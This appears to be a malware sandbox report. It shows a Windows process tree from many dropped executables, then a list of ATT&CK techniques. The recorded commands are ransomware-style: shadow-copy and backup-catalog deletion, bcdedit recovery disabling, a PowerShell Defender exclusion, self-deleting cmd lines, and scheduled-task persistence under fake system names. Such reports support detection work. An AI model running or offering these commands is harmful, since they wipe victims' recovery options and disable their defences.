rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:8344

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9636

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:9724

C:\Windows\system32\DrvInst.exe
DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1b4f591b-cc02-034f-96ed-120dff2d8e4e}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"
2⤵
PID:9788

C:\Windows\system32\DrvInst.exe
DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000016C"
2⤵
PID:10080

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:10160

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:10168

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8156

C:\Users\Admin\AppData\Local\Temp\2B63.exe
C:\Users\Admin\AppData\Local\Temp\2B63.exe
1⤵
PID:2608

C:\Users\Admin\AppData\Local\Temp\2F0D.exe
C:\Users\Admin\AppData\Local\Temp\2F0D.exe
1⤵
PID:960

C:\Users\Admin\AppData\Local\Temp\36DE.exe
C:\Users\Admin\AppData\Local\Temp\36DE.exe
1⤵
PID:1096

C:\Users\Admin\AppData\Local\Temp\444D.exe
C:\Users\Admin\AppData\Local\Temp\444D.exe
1⤵
PID:10188

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:3244

C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
MaskVPNUpdate.exe /silent
2⤵
PID:8392

C:\Users\Admin\AppData\Local\Temp\53BF.exe
C:\Users\Admin\AppData\Local\Temp\53BF.exe
1⤵
PID:9668

C:\Users\Admin\AppData\Local\Temp\5F87.exe
C:\Users\Admin\AppData\Local\Temp\5F87.exe
1⤵
PID:3028

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4952

C:\Users\Admin\AppData\Local\Temp\7B8C.exe
C:\Users\Admin\AppData\Local\Temp\7B8C.exe
1⤵
PID:9348

C:\Users\Admin\AppData\Local\Temp\3436f48c-4f40-4457-a9a5-cb4aec1f10dd\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\3436f48c-4f40-4457-a9a5-cb4aec1f10dd\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3436f48c-4f40-4457-a9a5-cb4aec1f10dd\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
PID:5804

C:\Users\Admin\AppData\Local\Temp\3436f48c-4f40-4457-a9a5-cb4aec1f10dd\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\3436f48c-4f40-4457-a9a5-cb4aec1f10dd\AdvancedRun.exe" /SpecialRun 4101d8 5804
3⤵
PID:2644

C:\Users\Admin\AppData\Local\Temp\7B8C.exe
C:\Users\Admin\AppData\Local\Temp\7B8C.exe
2⤵
PID:9036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7B8C.exe" -Force
2⤵
PID:6808

C:\Users\Admin\AppData\Local\Temp\859F.exe
C:\Users\Admin\AppData\Local\Temp\859F.exe
1⤵
PID:576

C:\Users\Admin\AppData\Local\Temp\8850.exe
C:\Users\Admin\AppData\Local\Temp\8850.exe
1⤵
PID:5788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 8850.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8850.exe" & del C:\ProgramData\*.dll & exit
2⤵
PID:1048

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 8850.exe /f
3⤵
- Kills process with taskkill
PID:9656

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:6408

C:\Users\Admin\AppData\Local\Temp\8D43.exe
C:\Users\Admin\AppData\Local\Temp\8D43.exe
1⤵
PID:2400

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -start
2⤵
PID:8620

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lsass.exe" -agent 0
3⤵
PID:8852

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
3⤵
PID:9048

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
4⤵
- Interacts with shadow copies
PID:11040

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
3⤵
PID:1984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
3⤵
PID:1152

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
3⤵
PID:2608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
3⤵
PID:10012

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
4⤵
PID:11032

C:\Windows\SysWOW64\notepad.exe
notepad.exe
3⤵
PID:1048

C:\Users\Admin\AppData\Local\Temp\912C.exe
C:\Users\Admin\AppData\Local\Temp\912C.exe
1⤵
PID:7540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:8972

C:\Users\Admin\AppData\Local\Temp\96F9.exe
C:\Users\Admin\AppData\Local\Temp\96F9.exe
1⤵
PID:9608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\E3AqPB7u6E.bat"
2⤵
PID:4640

C:\Windows\SysWOW64\chcp.com
chcp 65001
3⤵
PID:7488

C:\Windows\SysWOW64\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
3⤵
PID:7896

C:\Windows\System32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
4⤵
PID:7044

C:\Users\Admin\AppData\Local\Temp\96F9.exe
"C:\Users\Admin\AppData\Local\Temp\96F9.exe"
3⤵
PID:6676

C:\Program Files (x86)\Windows Media Player\Skins\explorer.exe
"C:\Program Files (x86)\Windows Media Player\Skins\explorer.exe"
4⤵
PID:3896

C:\Users\Admin\AppData\Local\Temp\9B11.exe
C:\Users\Admin\AppData\Local\Temp\9B11.exe
1⤵
PID:4604

C:\Users\Admin\AppData\Local\Temp\9D35.exe
C:\Users\Admin\AppData\Local\Temp\9D35.exe
1⤵
PID:10052

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7844

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:8960

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7284

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:8684

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2784

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2324

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:8344

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6996

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9676

C:\Users\Admin\AppData\Local\Temp\DC33.exe
C:\Users\Admin\AppData\Local\Temp\DC33.exe
1⤵
PID:7540

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\DC33.exe"
2⤵
PID:10572

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:11256

C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe
"C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe"
2⤵
PID:10564

C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe
C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe
3⤵
PID:11104

C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe
C:\Users\Admin\AppData\Local\Temp\URf2FSGuPc.exe
3⤵
PID:11156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4500

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\AITNGSZKWN\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:10356

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4848

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7272

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9520

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9488

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-US\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5536

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:8304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msiexec" /sc ONLOGON /tr "'C:\odt\msiexec.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:10176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:976

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\adprovider\WerFault.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8620

C:\Users\Admin\AppData\Roaming\brtwjas
C:\Users\Admin\AppData\Roaming\brtwjas
1⤵
PID:5668

C:\Users\Admin\AppData\Roaming\catwjas
C:\Users\Admin\AppData\Roaming\catwjas
1⤵
PID:11176

C:\Users\Admin\AppData\Roaming\catwjas
C:\Users\Admin\AppData\Roaming\catwjas
2⤵
PID:5508

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:7424

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4328

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x414
1⤵
PID:4196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "mBmgCtfIlDKzUJ7YxAHLKFQ3" /sc ONLOGON /tr "'C:\Users\All Users\Adobe\Setup\mBmgCtfIlDKzUJ7YxAHLKFQ3.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6880

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6456

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Config.Msi\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6252

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5281144" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\5281144.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2936

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5288

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\Skins\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6372

C:\Users\Admin\AppData\Roaming\brtwjas
C:\Users\Admin\AppData\Roaming\brtwjas
1⤵
PID:10456

C:\Users\Admin\AppData\Roaming\catwjas
C:\Users\Admin\AppData\Roaming\catwjas
1⤵
PID:10236

C:\Users\Admin\AppData\Roaming\catwjas
C:\Users\Admin\AppData\Roaming\catwjas
2⤵
PID:5340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\NPSMDesktopProvider\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\System32\wmdmlog\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:7112

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1464

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7464

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4364

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11000

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

File Deletion

T1107

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery